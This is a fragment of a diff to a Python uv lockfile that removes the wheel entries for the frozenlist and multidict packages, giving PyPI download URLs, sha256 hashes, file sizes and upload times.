-    { url = "https://files.pythonhosted.org/packages/e3/20/bba307ab4235a09fdcd3cc5508dbabd17c4634a1af4b96e0f69bfe551ebd/frozenlist-1.8.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:6da155091429aeba16851ecb10a9104a108bcd32f6c1642867eadaee401c1c41", size = 283659, upload-time = "2025-10-06T05:37:03.711Z" },
-    { url = "https://files.pythonhosted.org/packages/fd/00/04ca1c3a7a124b6de4f8a9a17cc2fcad138b4608e7a3fc5877804b8715d7/frozenlist-1.8.0-cp313-cp313t-win32.whl", hash = "sha256:0f96534f8bfebc1a394209427d0f8a63d343c9779cda6fc25e8e121b5fd8555b", size = 43492, upload-time = "2025-10-06T05:37:04.915Z" },
-    { url = "https://files.pythonhosted.org/packages/59/5e/c69f733a86a94ab10f68e496dc6b7e8bc078ebb415281d5698313e3af3a1/frozenlist-1.8.0-cp313-cp313t-win_amd64.whl", hash = "sha256:5d63a068f978fc69421fb0e6eb91a9603187527c86b7cd3f534a5b77a592b888", size = 48034, upload-time = "2025-10-06T05:37:06.343Z" },
-    { url = "https://files.pythonhosted.org/packages/16/6c/be9d79775d8abe79b05fa6d23da99ad6e7763a1d080fbae7290b286093fd/frozenlist-1.8.0-cp313-cp313t-win_arm64.whl", hash = "sha256:bf0a7e10b077bf5fb9380ad3ae8ce20ef919a6ad93b4552896419ac7e1d8e042", size = 41749, upload-time = "2025-10-06T05:37:07.431Z" },
-    { url = "https://files.pythonhosted.org/packages/f1/c8/85da824b7e7b9b6e7f7705b2ecaf9591ba6f79c1177f324c2735e41d36a2/frozenlist-1.8.0-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:cee686f1f4cadeb2136007ddedd0aaf928ab95216e7691c63e50a8ec066336d0", size = 86127, upload-time = "2025-10-06T05:37:08.438Z" },
-    { url = "https://files.pythonhosted.org/packages/8e/e8/a1185e236ec66c20afd72399522f142c3724c785789255202d27ae992818/frozenlist-1.8.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:119fb2a1bd47307e899c2fac7f28e85b9a543864df47aa7ec9d3c1b4545f096f", size = 49698, upload-time = "2025-10-06T05:37:09.48Z" },
-    { url = "https://files.pythonhosted.org/packages/a1/93/72b1736d68f03fda5fdf0f2180fb6caaae3894f1b854d006ac61ecc727ee/frozenlist-1.8.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:4970ece02dbc8c3a92fcc5228e36a3e933a01a999f7094ff7c23fbd2beeaa67c", size = 49749, upload-time = "2025-10-06T05:37:10.569Z" },
-    { url = "https://files.pythonhosted.org/packages/a7/b2/fabede9fafd976b991e9f1b9c8c873ed86f202889b864756f240ce6dd855/frozenlist-1.8.0-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:cba69cb73723c3f329622e34bdbf5ce1f80c21c290ff04256cff1cd3c2036ed2", size = 231298, upload-time = "2025-10-06T05:37:11.993Z" },
-    { url = "https://files.pythonhosted.org/packages/3a/3b/d9b1e0b0eed36e70477ffb8360c49c85c8ca8ef9700a4e6711f39a6e8b45/frozenlist-1.8.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:778a11b15673f6f1df23d9586f83c4846c471a8af693a22e066508b77d201ec8", size = 232015, upload-time = "2025-10-06T05:37:13.194Z" },
-    { url = "https://files.pythonhosted.org/packages/dc/94/be719d2766c1138148564a3960fc2c06eb688da592bdc25adcf856101be7/frozenlist-1.8.0-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:0325024fe97f94c41c08872db482cf8ac4800d80e79222c6b0b7b162d5b13686", size = 225038, upload-time = "2025-10-06T05:37:14.577Z" },
-    { url = "https://files.pythonhosted.org/packages/e4/09/6712b6c5465f083f52f50cf74167b92d4ea2f50e46a9eea0523d658454ae/frozenlist-1.8.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:97260ff46b207a82a7567b581ab4190bd4dfa09f4db8a8b49d1a958f6aa4940e", size = 240130, upload-time = "2025-10-06T05:37:15.781Z" },
-    { url = "https://files.pythonhosted.org/packages/f8/d4/cd065cdcf21550b54f3ce6a22e143ac9e4836ca42a0de1022da8498eac89/frozenlist-1.8.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:54b2077180eb7f83dd52c40b2750d0a9f175e06a42e3213ce047219de902717a", size = 242845, upload-time = "2025-10-06T05:37:17.037Z" },
-    { url = "https://files.pythonhosted.org/packages/62/c3/f57a5c8c70cd1ead3d5d5f776f89d33110b1addae0ab010ad774d9a44fb9/frozenlist-1.8.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:2f05983daecab868a31e1da44462873306d3cbfd76d1f0b5b69c473d21dbb128", size = 229131, upload-time = "2025-10-06T05:37:18.221Z" },
-    { url = "https://files.pythonhosted.org/packages/6c/52/232476fe9cb64f0742f3fde2b7d26c1dac18b6d62071c74d4ded55e0ef94/frozenlist-1.8.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:33f48f51a446114bc5d251fb2954ab0164d5be02ad3382abcbfe07e2531d650f", size = 240542, upload-time = "2025-10-06T05:37:19.771Z" },
-    { url = "https://files.pythonhosted.org/packages/5f/85/07bf3f5d0fb5414aee5f47d33c6f5c77bfe49aac680bfece33d4fdf6a246/frozenlist-1.8.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:154e55ec0655291b5dd1b8731c637ecdb50975a2ae70c606d100750a540082f7", size = 237308, upload-time = "2025-10-06T05:37:20.969Z" },
-    { url = "https://files.pythonhosted.org/packages/11/99/ae3a33d5befd41ac0ca2cc7fd3aa707c9c324de2e89db0e0f45db9a64c26/frozenlist-1.8.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:4314debad13beb564b708b4a496020e5306c7333fa9a3ab90374169a20ffab30", size = 238210, upload-time = "2025-10-06T05:37:22.252Z" },
-    { url = "https://files.pythonhosted.org/packages/b2/60/b1d2da22f4970e7a155f0adde9b1435712ece01b3cd45ba63702aea33938/frozenlist-1.8.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:073f8bf8becba60aa931eb3bc420b217bb7d5b8f4750e6f8b3be7f3da85d38b7", size = 231972, upload-time = "2025-10-06T05:37:23.5Z" },
-    { url = "https://files.pythonhosted.org/packages/3f/ab/945b2f32de889993b9c9133216c068b7fcf257d8595a0ac420ac8677cab0/frozenlist-1.8.0-cp314-cp314-win32.whl", hash = "sha256:bac9c42ba2ac65ddc115d930c78d24ab8d4f465fd3fc473cdedfccadb9429806", size = 40536, upload-time = "2025-10-06T05:37:25.581Z" },
-    { url = "https://files.pythonhosted.org/packages/59/ad/9caa9b9c836d9ad6f067157a531ac48b7d36499f5036d4141ce78c230b1b/frozenlist-1.8.0-cp314-cp314-win_amd64.whl", hash = "sha256:3e0761f4d1a44f1d1a47996511752cf3dcec5bbdd9cc2b4fe595caf97754b7a0", size = 44330, upload-time = "2025-10-06T05:37:26.928Z" },
-    { url = "https://files.pythonhosted.org/packages/82/13/e6950121764f2676f43534c555249f57030150260aee9dcf7d64efda11dd/frozenlist-1.8.0-cp314-cp314-win_arm64.whl", hash = "sha256:d1eaff1d00c7751b7c6662e9c5ba6eb2c17a2306ba5e2a37f24ddf3cc953402b", size = 40627, upload-time = "2025-10-06T05:37:28.075Z" },
-    { url = "https://files.pythonhosted.org/packages/c0/c7/43200656ecc4e02d3f8bc248df68256cd9572b3f0017f0a0c4e93440ae23/frozenlist-1.8.0-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:d3bb933317c52d7ea5004a1c442eef86f426886fba134ef8cf4226ea6ee1821d", size = 89238, upload-time = "2025-10-06T05:37:29.373Z" },
-    { url = "https://files.pythonhosted.org/packages/d1/29/55c5f0689b9c0fb765055629f472c0de484dcaf0acee2f7707266ae3583c/frozenlist-1.8.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:8009897cdef112072f93a0efdce29cd819e717fd2f649ee3016efd3cd885a7ed", size = 50738, upload-time = "2025-10-06T05:37:30.792Z" },
-    { url = "https://files.pythonhosted.org/packages/ba/7d/b7282a445956506fa11da8c2db7d276adcbf2b17d8bb8407a47685263f90/frozenlist-1.8.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:2c5dcbbc55383e5883246d11fd179782a9d07a986c40f49abe89ddf865913930", size = 51739, upload-time = "2025-10-06T05:37:32.127Z" },
-    { url = "https://files.pythonhosted.org/packages/62/1c/3d8622e60d0b767a5510d1d3cf21065b9db874696a51ea6d7a43180a259c/frozenlist-1.8.0-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:39ecbc32f1390387d2aa4f5a995e465e9e2f79ba3adcac92d68e3e0afae6657c", size = 284186, upload-time = "2025-10-06T05:37:33.21Z" },
-    { url = "https://files.pythonhosted.org/packages/2d/14/aa36d5f85a89679a85a1d44cd7a6657e0b1c75f61e7cad987b203d2daca8/frozenlist-1.8.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:92db2bf818d5cc8d9c1f1fc56b897662e24ea5adb36ad1f1d82875bd64e03c24", size = 292196, upload-time = "2025-10-06T05:37:36.107Z" },
-    { url = "https://files.pythonhosted.org/packages/05/23/6bde59eb55abd407d34f77d39a5126fb7b4f109a3f611d3929f14b700c66/frozenlist-1.8.0-cp314-cp314t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:2dc43a022e555de94c3b68a4ef0b11c4f747d12c024a520c7101709a2144fb37", size = 273830, upload-time = "2025-10-06T05:37:37.663Z" },
-    { url = "https://files.pythonhosted.org/packages/d2/3f/22cff331bfad7a8afa616289000ba793347fcd7bc275f3b28ecea2a27909/frozenlist-1.8.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:cb89a7f2de3602cfed448095bab3f178399646ab7c61454315089787df07733a", size = 294289, upload-time = "2025-10-06T05:37:39.261Z" },
-    { url = "https://files.pythonhosted.org/packages/a4/89/5b057c799de4838b6c69aa82b79705f2027615e01be996d2486a69ca99c4/frozenlist-1.8.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:33139dc858c580ea50e7e60a1b0ea003efa1fd42e6ec7fdbad78fff65fad2fd2", size = 300318, upload-time = "2025-10-06T05:37:43.213Z" },
-    { url = "https://files.pythonhosted.org/packages/30/de/2c22ab3eb2a8af6d69dc799e48455813bab3690c760de58e1bf43b36da3e/frozenlist-1.8.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:168c0969a329b416119507ba30b9ea13688fafffac1b7822802537569a1cb0ef", size = 282814, upload-time = "2025-10-06T05:37:45.337Z" },
-    { url = "https://files.pythonhosted.org/packages/59/f7/970141a6a8dbd7f556d94977858cfb36fa9b66e0892c6dd780d2219d8cd8/frozenlist-1.8.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:28bd570e8e189d7f7b001966435f9dac6718324b5be2990ac496cf1ea9ddb7fe", size = 291762, upload-time = "2025-10-06T05:37:46.657Z" },
-    { url = "https://files.pythonhosted.org/packages/c1/15/ca1adae83a719f82df9116d66f5bb28bb95557b3951903d39135620ef157/frozenlist-1.8.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:b2a095d45c5d46e5e79ba1e5b9cb787f541a8dee0433836cea4b96a2c439dcd8", size = 289470, upload-time = "2025-10-06T05:37:47.946Z" },
-    { url = "https://files.pythonhosted.org/packages/ac/83/dca6dc53bf657d371fbc88ddeb21b79891e747189c5de990b9dfff2ccba1/frozenlist-1.8.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:eab8145831a0d56ec9c4139b6c3e594c7a83c2c8be25d5bcf2d86136a532287a", size = 289042, upload-time = "2025-10-06T05:37:49.499Z" },
-    { url = "https://files.pythonhosted.org/packages/96/52/abddd34ca99be142f354398700536c5bd315880ed0a213812bc491cff5e4/frozenlist-1.8.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:974b28cf63cc99dfb2188d8d222bc6843656188164848c4f679e63dae4b0708e", size = 283148, upload-time = "2025-10-06T05:37:50.745Z" },
-    { url = "https://files.pythonhosted.org/packages/af/d3/76bd4ed4317e7119c2b7f57c3f6934aba26d277acc6309f873341640e21f/frozenlist-1.8.0-cp314-cp314t-win32.whl", hash = "sha256:342c97bf697ac5480c0a7ec73cd700ecfa5a8a40ac923bd035484616efecc2df", size = 44676, upload-time = "2025-10-06T05:37:52.222Z" },
-    { url = "https://files.pythonhosted.org/packages/89/76/c615883b7b521ead2944bb3480398cbb07e12b7b4e4d073d3752eb721558/frozenlist-1.8.0-cp314-cp314t-win_amd64.whl", hash = "sha256:06be8f67f39c8b1dc671f5d83aaefd3358ae5cdcf8314552c57e7ed3e6475bdd", size = 49451, upload-time = "2025-10-06T05:37:53.425Z" },
-    { url = "https://files.pythonhosted.org/packages/e0/a3/5982da14e113d07b325230f95060e2169f5311b1017ea8af2a29b374c289/frozenlist-1.8.0-cp314-cp314t-win_arm64.whl", hash = "sha256:102e6314ca4da683dca92e3b1355490fed5f313b768500084fbe6371fddfdb79", size = 42507, upload-time = "2025-10-06T05:37:54.513Z" },
-    { url = "https://files.pythonhosted.org/packages/9a/9a/e35b4a917281c0b8419d4207f4334c8e8c5dbf4f3f5f9ada73958d937dcc/frozenlist-1.8.0-py3-none-any.whl", hash = "sha256:0c18a16eab41e82c295618a77502e17b195883241c563b00f0aa5106fc4eaa0d", size = 13409, upload-time = "2025-10-06T05:38:16.721Z" },
-]
-
 [[package]]
 name = "h11"
 version = "0.16.0"
@@ -2378,187 +2049,6 @@ wheels = [
     { url = "https://files.pythonhosted.org/packages/e8/3d/1087453384dbde46a8c7f9356eead2c58be8a7bf156bca40243377c85715/more_itertools-11.1.0-py3-none-any.whl", hash = "sha256:4b65538ae22f6fed0ce4874efd317463a7489796a0939fa66824dd542125a192", size = 72226, upload-time = "2026-05-22T14:14:28.824Z" },
 ]
 
-[[package]]
-name = "multidict"
-version = "6.9.1"
-source = { registry = "https://pypi.org/simple" }
-dependencies = [
-    { name = "typing-extensions", marker = "python_full_version < '3.11'" },
-]
-sdist = { url = "https://files.pythonhosted.org/packages/d6/99/1d4d69c3512d0ddbfa3a1b69cfd9a151012ab2eb4eabbb096201b1f0b7d8/multidict-6.9.1.tar.gz", hash = "sha256:0f06e60fa190aa7abd0914c2a766736fdc8e9f34878c4346338534b73d1b20e2", size = 182404, upload-time = "2026-09-21T17:59:05.362Z" }
-wheels = [
-    { url = "https://files.pythonhosted.org/packages/eb/1c/fb2114207afc7f00ab9897ae5beeee27de5ec58ea8b9623e879f2c56f003/multidict-6.9.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:aef74e9beabbd6c4aafc091dabff86d046ccf013ce1e4396c0fbb01b4cad9de8", size = 97307, upload-time = "2026-09-21T17:54:14.957Z" },
-    { url = "https://files.pythonhosted.org/packages/b7/23/1ab8c7349adbb30c8cf41b88b0794740df8ea9f7de2e382da040a2f5bd8e/multidict-6.9.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:1ca5ebe6d454f1e5496cf052386a559f1080bf2de75bf327ebca0a6003b79f19", size = 58830, upload-time = "2026-09-21T17:54:16.261Z" },
-    { url = "https://files.pythonhosted.org/packages/e0/89/b845535014a9ad50537ca50204aaf6351c5368822a3acd9da854fb2a5a34/multidict-6.9.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:02f6d0c4b70f783305e73f9944d8efe6be1022550f0974ba0ae9d8893c0350fa", size = 57645, upload-time = "2026-09-21T17:54:17.491Z" },
-    { url = "https://files.pythonhosted.org/packages/fe/4f/28ebb40a6f8e8aa7be78bcbe4bf9a1ac9518c40ef88accf2d4cd6ed7a7e0/multidict-6.9.1-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:8050e75af7e4c6e2d5260b84eeedb618f3e452e66473432e085b5d1b81429299", size = 301535, upload-time = "2026-09-21T17:54:18.946Z" },
-    { url = "https://files.pythonhosted.org/packages/33/51/0de5fc980df34d1ffed9ef68f60ce86c2d4baa3d422598a53f8730c56757/multidict-6.9.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4736d350371337825cac1793c9f7c40701c32a03912548c2a7608e51679cbb96", size = 298796, upload-time = "2026-09-21T17:54:20.52Z" },
-    { url = "https://files.pythonhosted.org/packages/55/58/dd86067bdd2e961fdee8ec659fabc50f4e76403616b508714ec2686b0a49/multidict-6.9.1-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:02fe09dc197b8ae7e355371e51e5dce2f39060cd5a8badf94904527e23a3f188", size = 282392, upload-time = "2026-09-21T17:54:21.86Z" },
-    { url = "https://files.pythonhosted.org/packages/2f/52/5464a2675579e3adb48b7cd4707a59da499660f0e22c024bc7281d2d9bdf/multidict-6.9.1-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ad4528cdce058b684f75fad1faf4a6a6c992fe2f08376370ca66e4ce5916a84a", size = 314538, upload-time = "2026-09-21T17:54:23.366Z" },
-    { url = "https://files.pythonhosted.org/packages/d3/69/7f2b3fafe064181669157ce872a097b08a0546fb6fd2481e8c5604b47ec3/multidict-6.9.1-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:8885e3808aedbd6725b921fb67dacaae0678933561ddd47c2b01315198c70e2e", size = 315675, upload-time = "2026-09-21T17:54:24.808Z" },
-    { url = "https://files.pythonhosted.org/packages/bd/53/f65ed68b96eea2b4f6fa4f9031bdfccd8f3097c429e3d371c545d1c40ca4/multidict-6.9.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d3b6e6840421c83ccb60398e333b44f910b0907bb409597685ab2eedd1e22eab", size = 303685, upload-time = "2026-09-21T17:54:26.236Z" },
-    { url = "https://files.pythonhosted.org/packages/1a/5f/ade05795c6fb9adfccd61695a0f0509bc793583f589c4b1b87f27215a139/multidict-6.9.1-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c9648ed33dc8179e4ec04bbc73bd7f0038e1e81217a69467f61f02a78bf07e88", size = 280306, upload-time = "2026-09-21T17:54:27.685Z" },
-    { url = "https://files.pythonhosted.org/packages/60/b2/c996349a61e0f43c7c95877943a67476261bf906ff993670afbd33ff5bf4/multidict-6.9.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:d9d6544790ba50438a9c1a903c3c4afb1ec8a7832db5518549275b40ef0dd4b1", size = 291691, upload-time = "2026-09-21T17:54:29.004Z" },
-    { url = "https://files.pythonhosted.org/packages/0e/87/8b7016d1084854729c80acfae71c5a51ea7e7c9411d66c3e2729772f5723/multidict-6.9.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:1c9f3c25df6c9d3bbae4f6fd3f514b1c5c740a2110f56ccf36069c85417e289c", size = 290357, upload-time = "2026-09-21T17:54:30.491Z" },
-    { url = "https://files.pythonhosted.org/packages/7a/3d/801653b6aa9343a7430cecdefa1bf71ff24432224c02f15cc15e47837652/multidict-6.9.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:cf22b43f35b7dbb9f71e8ee2041b5c00029cdfc28ede3a2f31cf8906f9a6c126", size = 305831, upload-time = "2026-09-21T17:54:32.132Z" },
-    { url = "https://files.pythonhosted.org/packages/2b/f3/9fc997861920bdbf70db82bdce5c802ec6477754c4bd78cff2898e3c63f9/multidict-6.9.1-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:8ed78ccad4c7b421804f5d524b7740946a7ef75d89dc0dac52e9d7c24c472410", size = 308995, upload-time = "2026-09-21T17:54:33.571Z" },
-    { url = "https://files.pythonhosted.org/packages/ce/5f/278b5a2c99d6de27914b49158dd6f2a6481e53359142cc366dff04821a2f/multidict-6.9.1-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:e3b1aa25f01238886a6baed9e13b9a9240ed344346c79ae280ae65e8603b21d5", size = 279240, upload-time = "2026-09-21T17:54:35.025Z" },
-    { url = "https://files.pythonhosted.org/packages/3d/db/0922594c601a691eb4365a83f4f92104ef87a9728d8066fa25c99349e754/multidict-6.9.1-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:bc94a68ea5e18f8e85dc6b522bcb53093f692c8eb62b4837ac047da73956cbe4", size = 305487, upload-time = "2026-09-21T17:54:36.555Z" },
-    { url = "https://files.pythonhosted.org/packages/64/cb/07bca86d4a361a87128f3019540d7689800fdcad44e3b3ad08f1f035ed74/multidict-6.9.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:73533644e1f69ea1164d56cc6505f564c6c44072b646b66d67df2d31fed0348c", size = 301997, upload-time = "2026-09-21T17:54:37.903Z" },
-    { url = "https://files.pythonhosted.org/packages/e1/e3/99591bf626613ea35779d2460949b45e59e589dc9058d6693c923eccd4e5/multidict-6.9.1-cp310-cp310-win32.whl", hash = "sha256:66987aa68b0f7c2a1cc5f388ca962b8ed92b10f79de38d6d0d8c716154f519d9", size = 51205, upload-time = "2026-09-21T17:54:39.152Z" },
-    { url = "https://files.pythonhosted.org/packages/ae/18/10c008aac77297aa618631e8726ece31668f9dc9d9c848e4b5d2e68eb3d3/multidict-6.9.1-cp310-cp310-win_amd64.whl", hash = "sha256:a32b78c1e52ebd8e247bb68300b90b233300d8816faa008ed0713bc539fb6af0", size = 59049, upload-time = "2026-09-21T17:54:40.465Z" },
-    { url = "https://files.pythonhosted.org/packages/b1/b1/da73a58bef2613571902a824f1e11185207ba756215c99038f6d220bc167/multidict-6.9.1-cp310-cp310-win_arm64.whl", hash = "sha256:ab64ace1a68682d191d9bedd9d4c939406ad86b1d9f628180410644249ad46c2", size = 54610, upload-time = "2026-09-21T17:54:41.605Z" },
-    { url = "https://files.pythonhosted.org/packages/e3/24/3823efc330630a1f132bcd0a9b182ddec3c53f452f551c8e8d3aaf5a2d20/multidict-6.9.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:910d4260512660484c0dc1588a316fbb35a40c081c36fc51d1225351af17cfe4", size = 96739, upload-time = "2026-09-21T17:54:42.815Z" },
-    { url = "https://files.pythonhosted.org/packages/6a/69/36331fe1d3aeb0c525a9972d6cf82791075a395aa96f026f060009d691ae/multidict-6.9.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:33fa55b990f81c2927e01399ace0d18926c69d69baa8cdaa819424132fb97987", size = 58514, upload-time = "2026-09-21T17:54:44.064Z" },
-    { url = "https://files.pythonhosted.org/packages/8c/ca/5860651f782078ef13f2761c2593f4ba066d76f626b2f30f23a7f838b775/multidict-6.9.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:369b5aa01b241cd3fea6890bdbb11a1425d87bf1515831500d518f4223e9d72c", size = 57303, upload-time = "2026-09-21T17:54:45.304Z" },
-    { url = "https://files.pythonhosted.org/packages/c7/9f/c56e2fa223cb5d182660e1a09eec38880f96b7cd22769582f74447c60418/multidict-6.9.1-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:803f8b575a71b1b299d677c28db0653459c79b5308874efec813f17b7457c7f1", size = 320076, upload-time = "2026-09-21T17:54:46.826Z" },
-    { url = "https://files.pythonhosted.org/packages/59/97/eda4fe0cad51f96096363ed32d3e0f8df28dab00beff4d92adc9db517726/multidict-6.9.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b8a65621b98984a62e59403009591b8a5a7736273aefe1cab64cfb85b365cc07", size = 315489, upload-time = "2026-09-21T17:54:48.25Z" },
-    { url = "https://files.pythonhosted.org/packages/24/14/10b1ded0a4085a51c3054125f854da4f47ce4fec724a2d2503231b83f3db/multidict-6.9.1-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:13849a1d4f54c3809ae721e9e83ab28f5ea602f33660cb84eb6ef261eac706c1", size = 296716, upload-time = "2026-09-21T17:54:49.749Z" },
-    { url = "https://files.pythonhosted.org/packages/dc/14/04d155dd18528443cb9009f3a9f35f7417773797d072c95104ff17b8b9b7/multidict-6.9.1-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:dd9a137a4a9becda3094f3831cd026380f75f6855e051eefe4c73ade524f1cc3", size = 330244, upload-time = "2026-09-21T17:54:51.26Z" },
-    { url = "https://files.pythonhosted.org/packages/8b/90/284d10b3a9e5b312a8ec5b7a175fc7d560eefdc99886320449891a197992/multidict-6.9.1-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:9ae9614c317c50836689ce2dfde07c05fe0b16378562e2221746c3913ede3c80", size = 331288, upload-time = "2026-09-21T17:54:52.595Z" },
-    { url = "https://files.pythonhosted.org/packages/27/50/f420de3683f9b047fc5588064d84043ef57a7152ef451b8373dfc7068d22/multidict-6.9.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e8f1e362c9352b50ed120f001046fdbb80810c9d56580f4c3fc13bbe30823387", size = 320663, upload-time = "2026-09-21T17:54:53.91Z" },
-    { url = "https://files.pythonhosted.org/packages/01/ab/0120a650d7ce4fe167299c13a13cc4ee2dc72458a9c0e9e9330b824b73c9/multidict-6.9.1-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0dd655518f136febd96c05131a76a863e32fc2a1d7acd4e3c959e3ceb77d8345", size = 291139, upload-time = "2026-09-21T17:54:55.313Z" },
-    { url = "https://files.pythonhosted.org/packages/b3/3f/c66342f73ee5cd2c9b1dda6cfce89b5f348c48921b8c8b6e59aafbbfe31a/multidict-6.9.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:2c5d675da8f1cb5650271c8ad5e95c0a3e5a183c105e72d953b12877b1c8d0fd", size = 310044, upload-time = "2026-09-21T17:54:56.745Z" },
-    { url = "https://files.pythonhosted.org/packages/05/0d/e44b90d9e77e44ec3473c4c7ac7ea95764d7e8fbf6d5a085ef9bff7ce0c2/multidict-6.9.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:658f90f49cf5af2441cad0a2b801c3ef520471989a1ec55bcb25b255b2ca8d2f", size = 303279, upload-time = "2026-09-21T17:54:58.178Z" },
-    { url = "https://files.pythonhosted.org/packages/97/8a/7741f7c23c211fae31ab546f0ba41569dae7671cf7ca30d5afb59e9d92aa/multidict-6.9.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:43124fe172ada86d03ac3c8dc8179091341f6724d5e5d5b160e1587e4cd3761b", size = 326177, upload-time = "2026-09-21T17:54:59.825Z" },
-    { url = "https://files.pythonhosted.org/packages/e8/63/0cdbfbbe36316b2ef4b8e011afaca2cf291a73fe4fabf34dd0b22e3ee48a/multidict-6.9.1-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:b2f0adc22a4eb31e545221d93fc73a0f6a8cc2379d0f4309f71d1d17ba938b82", size = 323526, upload-time = "2026-09-21T17:55:01.43Z" },
-    { url = "https://files.pythonhosted.org/packages/98/05/0c86e9678e78f4596df0ed7f59d2aa755107da3f2a92f1b7fa150e94cbb8/multidict-6.9.1-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:7fc59e9ba821b220944ccfe0f89c9dc4745f6d097569992356eb03869f21e953", size = 290278, upload-time = "2026-09-21T17:55:02.993Z" },
-    { url = "https://files.pythonhosted.org/packages/95/8e/71bd7f43c4883cba6c5f96db88bd2311d52e74ad7680be5915938490d56f/multidict-6.9.1-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:87cc632c88ee5dc80e12681047839304d98ee5c9a708d686505767001c9b8b9a", size = 321142, upload-time = "2026-09-21T17:55:04.48Z" },
-    { url = "https://files.pythonhosted.org/packages/2d/00/bf59d6bb22a4c152e4039574c29490caf3c65107715121807b4bd7cde244/multidict-6.9.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:b828cf64d62dc09ac183f03c1aeedd164ade96a2ce4934109452edf29de1dd13", size = 319045, upload-time = "2026-09-21T17:55:06.119Z" },
-    { url = "https://files.pythonhosted.org/packages/3a/3c/f27f4f045198bf1c4bcd6eb3b6cf06be2dceaceb6e67222b903fce7a6749/multidict-6.9.1-cp311-cp311-win32.whl", hash = "sha256:2c1aeb92eea59d824f004341b26d5e4b47a8a441cf9726769b9a90abf9d0e08f", size = 51309, upload-time = "2026-09-21T17:55:07.531Z" },
